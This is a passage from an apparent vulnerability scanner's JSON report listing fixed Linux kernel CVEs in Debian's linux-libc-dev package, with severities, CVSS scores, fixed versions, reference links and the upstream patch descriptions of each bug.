"https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53137" ], "PublishedDate": "2026-06-25T09:16:31.03Z", "LastModifiedDate": "2026-11-06T17:18:09.877Z" }, { "VulnerabilityID": "CVE-2026-53138", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf05b3cd19038e28df53982fa5a1bde95847b7630e52e4c54d9ec9f0b5ce8f42", "Title": "kernel: drm/amd/display: Bound VBIOS record-chain walk loops", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Bound VBIOS record-chain walk loops\n\n[Why \u0026 How]\nAll record-chain walk loops in bios_parser.c and bios_parser2.c use\nfor(;;) and only terminate on a 0xFF record_type sentinel or zero\nrecord_size. A malformed VBIOS image missing the terminator record\ncauses unbounded iteration at probe time, potentially hundreds of\nthousands of iterations with record_size=1. In the final iterations\nnear the BIOS image boundary, struct casts beyond the 2-byte header\nvalidated by GET_IMAGE can also read out of bounds.\n\nCap all 14 record-chain walk loops to BIOS_MAX_NUM_RECORD (256)\niterations. The atombios.h defines up to 22 distinct record types\nand atomfirmware.h has 13. Assuming an average of less than 10\nrecords per type (which is reasonable since most are connector-\nbased) 256 is a generous upper bound.\n\n(cherry picked from commit 95700a3d660287ed657d6892f7be9ffc0e294a93)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53138", "https://git.kernel.org/linus/ff287df16a1a58aca78b08d1f3ee09fc44da0351%20%287.1-rc7%29", "https://git.kernel.org/stable/c/04e271a952b8863bbafc99bd51aca4c32bff0e0d", "https://git.kernel.org/stable/c/0e56f460bddb397fa9a8e6faf7ae7eaa86953eb1", "https://git.kernel.org/stable/c/2645e3caf7e013189da9c6ff621d006cca5a538b", "https://git.kernel.org/stable/c/499c6b43a79dd684bddbd18fe8b2235aa2764db4", "https://git.kernel.org/stable/c/6173cfea2f916e01c4f98e29cd654384a05e32a3", "https://git.kernel.org/stable/c/6723188c42ca3b34a9fce634d7a0ecc9ccd5cd56", "https://git.kernel.org/stable/c/e94f5323c41f32a74160378c3b19850d1f203ad5", "https://git.kernel.org/stable/c/ff287df16a1a58aca78b08d1f3ee09fc44da0351", "https://linux.oracle.com/cve/CVE-2026-53138.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062543-CVE-2026-53138-59f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53138", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53138" ], "PublishedDate": "2026-06-25T09:16:31.15Z", "LastModifiedDate": "2026-11-06T17:18:10.067Z" }, { "VulnerabilityID": "CVE-2026-53143", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53143", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cc3b9285a363bcf2098cae833ee8b53c0a7eb6f81ca132685cf284e8aa414d29", "Title": "kernel: drm/amdkfd: Fix buffer overflow in SDMA queue checkpoint/restore on GFX11", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Fix buffer overflow in SDMA queue checkpoint/restore on GFX11\n\nThe v11 MQD manager incorrectly assigned the CP-compute variants of\ncheckpoint_mqd/restore_mqd for KFD_MQD_TYPE_SDMA queues. These functions\nuse sizeof(struct v11_compute_mqd) (2048 bytes) instead of sizeof(struct\nv11_sdma_mqd) (512 bytes), causing a 1536-byte overflow.\n\nDuring CRIU checkpoint of an SDMA queue on Navi3x:\n- checkpoint_mqd() reads 2048 bytes from a 512-byte SDMA MQD buffer,\n leaking 1536 bytes of adjacent GTT memory to userspace\n\nDuring CRIU restore:\n- restore_mqd() writes 2048 bytes into a 512-byte SDMA MQD buffer,\n corrupting 1536 bytes of adjacent GTT memory (often the ring buffer\n or neighboring MQDs)\n\nThis is a copy-paste regression unique to v11. All other ASIC backends\n(cik, vi, v9, v10, v12) correctly use the SDMA-specific variants.\n\nAdd checkpoint_mqd_sdma() and restore_mqd_sdma() functions that properly\nhandle the smaller v11_sdma_mqd structure, matching the pattern used in\nother MQD managers.\n\n(cherry picked from commit 6fa41db7ffdec97d62433adf03b7b9b759af8c2c)", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-131" ], "VendorSeverity": { "alma": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57251", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53143", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/352ea59028ea48a6fff77f19ae28f98f71946a80%20%287.1-rc7%29", "https://git.kernel.org/stable/c/16dad1fb0d783a4008de30e32d0038c393de05b1", "https://git.kernel.org/stable/c/2c5b66c9b4057b385566940935ebc32f6e6ebfd2", "https://git.kernel.org/stable/c/352ea59028ea48a6fff77f19ae28f98f71946a80", "https://git.kernel.org/stable/c/d02f05d30f35b036f7cbaf72de634affb5b38ec6", "https://git.kernel.org/stable/c/d3efcadfe3eea5b4263b8f2d4463b15c9fc46a64", "https://linux.oracle.com/cve/CVE-2026-53143.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026062544-CVE-2026-53143-a564@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53143", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53143.json", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53143" ], "PublishedDate": "2026-06-25T09:16:31.607Z", "LastModifiedDate": "2026-11-06T17:18:10.47Z" }, { "VulnerabilityID": "CVE-2026-53148", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53148", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6c12c048937ee488e7dd75e6da64d734cfb827b3be837d2ea55d48abdf6f0083", "Title": "kernel: thunderbolt: Clamp XDomain response data copy to allocation size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nthunderbolt: Clamp XDomain response data copy to allocation size\n\ntb_xdp_properties_request() derives the per-packet copy length from\nthe response header without checking that it fits in the previously\nallocated data buffer. A malicious peer can set its length field\nlarger than the declared data_length, causing memcpy to write past\nthe kcalloc allocation.\n\nClamp the per-packet copy length so that the cumulative offset\nnever exceeds data_len.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53148", "https://bugzilla.redhat.com/show_bug.cgi?id=2492756", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/322e93448d908434ae5545660fcbe8f5a7a8e141%20%287.1%29", "https://git.kernel.org/stable/c/05a43157676c243c248d1c6d9dcecbe6eba2f35d", "https://git.kernel.org/stable/c/0b334279a82d79fb4723bd4f614305de1ab69caa", "https://git.kernel.org/stable/c/322e93448d908434ae5545660fcbe8f5a7a8e141", "https://git.kernel.org/stable/c/5db10c8ad8c09f72c847dfeef3d876098257f505", "https://git.kernel.org/stable/c/6021d39ccd979713b39b980286020d8f9a45efd1", "https://git.kernel.org/stable/c/89ae04365e01d5ae4aae83044a8bbd2a9aaf8d0d", "https://git.kernel.org/stable/c/906035d5c3784570191d259cbf9a0ac1617852b5", "https://git.kernel.org/stable/c/fcbd0cdab92838854a5818be7ed8a097164ef6d5", "https://linux.oracle.com/cve/CVE-2026-53148.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062546-CVE-2026-53148-84b7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53148", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53148.json", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53148" ], "PublishedDate": "2026-06-25T09:16:32.14Z", "LastModifiedDate": "2026-11-06T17:18:10.91Z" }, { "VulnerabilityID": "CVE-2026-53149", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53149", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:48ab2232d5bb80d1216862a929c57997e82759640edef7f43f4edd11ddc521db", "Title": "kernel: thunderbolt: Bound root directory content to block size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nthunderbolt: Bound root directory content to block size\n\n__tb_property_parse_dir() does not check that content_offset +\ncontent_len fits within block_len for the root directory case.\nWhen rootdir-\u003elength equals or exceeds block_len - 2, the entry\nloop reads past the allocated property block.\n\nAdd a bounds check after computing content_offset and content_len\nto reject directories whose content extends past the block.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53149", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/65423079c7420e3dbf9a7aa345c243a3f5752e5d%20%287.1%29", "https://git.kernel.org/stable/c/0a32040a48db8cf35de48b85d6115df5623e4964", "https://git.kernel.org/stable/c/1912be23daf4afc8d24ce916021ab68ca4c679db", "https://git.kernel.org/stable/c/4d0b1524caadb04c10a71f3f88692c63dcb39115", "https://git.kernel.org/stable/c/5c7657d38d07268124782f03519f07c22a5814fb", "https://git.kernel.org/stable/c/60ba6217460792356a238299edd675d91d46bab4", "https://git.kernel.org/stable/c/65423079c7420e3dbf9a7aa345c243a3f5752e5d", "https://git.kernel.org/stable/c/b212bc161d8a9937b42153723a4a3f2f74fab528", "https://git.kernel.org/stable/c/cbeb68cbaa0a6f979ef428a7f2d0268c082ba166", "https://kernelcve.org/list/?q=CVE-2026-53149", "https://linux.oracle.com/cve/CVE-2026-53149.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062546-CVE-2026-53149-d1c8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53149", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53149" ], "PublishedDate": "2026-06-25T09:16:32.257Z", "LastModifiedDate": "2026-11-06T17:18:11.2Z" }, { "VulnerabilityID": "CVE-2026-53156", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53156", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9beee9c310acbff0b6f42ccae9bdf10aad512d87496b20d84a3c86ab4a374c1d", "Title": "kernel: nvmem: core: fix use-after-free bugs in error paths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmem: core: fix use-after-free bugs in error paths\n\nFix several instances of error paths in which we call\n__nvmem_device_put() - which may end up freeing the underlying memory\nand other resources - and then keep on using the nvmem structure. Always\nput the reference to the nvmem device as the last step before returning\nthe error code.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53156", "https://git.kernel.org/linus/5b6b6fc491899d583eaa75344e094796ae9b530b%20%287.1%29", "https://git.kernel.org/stable/c/40e2a459c0dd1333b2343831480a0ad80dc07614", "https://git.kernel.org/stable/c/5b6b6fc491899d583eaa75344e094796ae9b530b", "https://git.kernel.org/stable/c/6cdcf0d16c80900f42d60252480cd131c1a83d23", "https://git.kernel.org/stable/c/cb85ef5a227b3662b88f4d849a1aad43bfe7f5ae", "https://git.kernel.org/stable/c/e0d38bf47a72da2f02c9fa6f752cd66d977cd7f7", "https://kernelcve.org/list/?q=CVE-2026-53156", "https://linux.oracle.com/cve/CVE-2026-53156.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062548-CVE-2026-53156-dc6d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53156", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53156" ], "PublishedDate": "2026-06-25T09:16:32.98Z", "LastModifiedDate": "2026-11-06T17:18:11.733Z" }, { "VulnerabilityID": "CVE-2026-53157", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53157", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:01ee5d42f5506bee1362fc71db26834e168cc03aaf2b58cfb21d1e48de239903", "Title": "kernel: net: phonet: free phonet_device after RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: phonet: free phonet_device after RCU grace period\n\nphonet_device_destroy() removes a phonet_device from the per-net device\nlist with list_del_rcu(), but frees it immediately. RCU readers walking\nthe same list can still hold a pointer to the object after it has been\nremoved, leading to a slab-use-after-free.\n\nUse kfree_rcu(), matching the lifetime rule already used by\nphonet_address_del() for the same object type.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53157", "https://git.kernel.org/linus/71de0177b28da751f407581a4515cf4d762f6296%20%287.1%29", "https://git.kernel.org/stable/c/09c9b92c2010481160245244ea8fa1d06d5d4ae0", "https://git.kernel.org/stable/c/2ec8011cce0cd0fc7a5068585d867fc08d508578", "https://git.kernel.org/stable/c/52b8f5ef82c886f7cd24617915e4b1579ddfd001", "https://git.kernel.org/stable/c/6cd7067d6e4b0b2033ba2f918ecbd54dc2af3763", "https://git.kernel.org/stable/c/71de0177b28da751f407581a4515cf4d762f6296", "https://git.kernel.org/stable/c/bd2ab4d800fc26814d89328d87b5f97ef6aa906a", "https://git.kernel.org/stable/c/bff309ea51f1395c1ef8be8b75ce62d28a319113", "https://git.kernel.org/stable/c/d59794337ea496042288c7c68356d9b9ca7f46a9", "https://linux.oracle.com/cve/CVE-2026-53157.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062548-CVE-2026-53157-7e36@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53157", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", 